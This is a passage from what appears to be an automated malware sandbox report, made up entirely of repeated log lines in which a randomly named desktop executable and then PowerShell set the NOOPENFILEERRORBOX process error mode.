Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
